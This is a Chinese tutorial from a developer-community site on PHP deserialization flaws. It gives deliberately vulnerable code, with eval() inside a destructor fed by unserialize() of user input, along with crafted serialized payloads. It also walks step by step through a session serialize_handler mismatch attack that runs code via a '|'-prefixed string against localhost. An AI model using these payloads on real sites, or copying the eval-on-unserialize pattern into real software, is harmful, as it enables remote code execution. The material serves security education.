开发者社区> bypass> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

PHP反序列化漏洞

简介: 【序列化简单利用】      serialize() 序列化:使用函数serialize()可将实例序列化为字符串  unserialize() 反序列化:使用函数unserialize()可将序列化的字符串还原 代码示例: 漏洞利用: 构造漏洞利用的代码,保存为test.
+关注继续查看

【序列化简单利用】 

    serialize() 序列化:使用函数serialize()可将实例序列化为字符串
  unserialize() 反序列化:使用函数unserialize()可将序列化的字符串还原

代码示例:

<?php
class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['code']);
?>

漏洞利用:

构造漏洞利用的代码,保存为test.php,获取序列化值为  O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

<?php
class Example {
    var $var = 'phpinfo();';
    function __destruct() {
        eval($this->var);
    }
}
$a=new Example();
echo serialize($a);
?>

提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}  即可执行phpinfo()

【PHP SESSION反序列化】

   主要原因是: ini_set(‘session.serialize_handler’, ‘php_serialize’);

       ini_set(‘session.serialize_handler’, ‘php’);

       两者处理session的方式不同

<?php
ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php'); session_start(); $_SESSION[
"test"]=$_GET["a"]; ?>
//提交?a=1111
输出结果:
php_serialize: a:1:{s:4:"test";s:4:"1111";}
php: test|s:4:"1111";

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法
代码示例:
新建test1.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}
?>
新建test2.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["test"]=$_GET["a"];
?>

漏洞利用:

构造利用代码

<?php
class test {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}
$a=new test();
echo serialize($a);

?>

获取反序列化字符串:O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}

步骤一:提交test2.php?a=|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";},

    传入的数据会按照php_serialize来进行序列化:a:1:{s:4:"test";s:43:"|O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}";}

步骤二:然后再访问http://127.0.0.1/test1.php,成功执行phpinfo()

    此时访问test1.php,应用程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:4:"test";s:43:"作为SESSION的key,将O:4:"test":1:{s:2:"hi";s:10:"phpinfo();";}";}作为value,然后进行反序列化,最后就会就会实例化test对象,最后就会执行析构函数中的eval()方法。

 

 

参考文章:

PHP反序列化漏洞  http://wyb0.com/posts/php-deserialization-vulnerabilities/

PHP反序列化 代码执行 https://www.cnblogs.com/yinqin/articles/4962837.html

PHP中SESSION反序列化机制  https://blog.spoock.com/2016/10/16/php-serialize-problem/

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
皮卡丘中的PHP反序列化
皮卡丘中的PHP反序列化
29 0
PHP面试题:你常用到的mysql命令?
PHP面试题:你常用到的mysql命令?
63 0
PHP连接MySQL 8.0报错的解决办法
PHP连接MySQL 8.0报错的解决办法
156 0
centos下 Apache、php、mysql默认安装路径
apache: 如果采用RPM包安装,安装路径应在 /etc/httpd目录下 apache配置文件:/etc/httpd/conf/httpd.conf Apache模块路径:/usr/sbin/apachectl web目录:/var/www/html 如果采用源代码安装,一般默认安装在/usr/local/apache2目录下 php: 如果采用RPM包安装,安装路
2983 0
C++序列化、反序列化
几个常见的库 http://stackoverflow.com/questions/3637581/fastest-c-serialization Boost: Fast, assorted C++ library including serialization protobuf: Fa...
820 0
php中序列化与反序列化
http://www.cnblogs.com/A-Song/archive/2011/12/13/2285619.html 转自:http://qing.weibo.com/tag/unserialize 把复杂的数据类型压缩到一个字符串中 serialize() 把变量和它们的值编码成文本形...
720 0
+关注
bypass
一个网络安全爱好者
111
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
冬季实战营第三期:MySQL数据库进阶实战
立即下载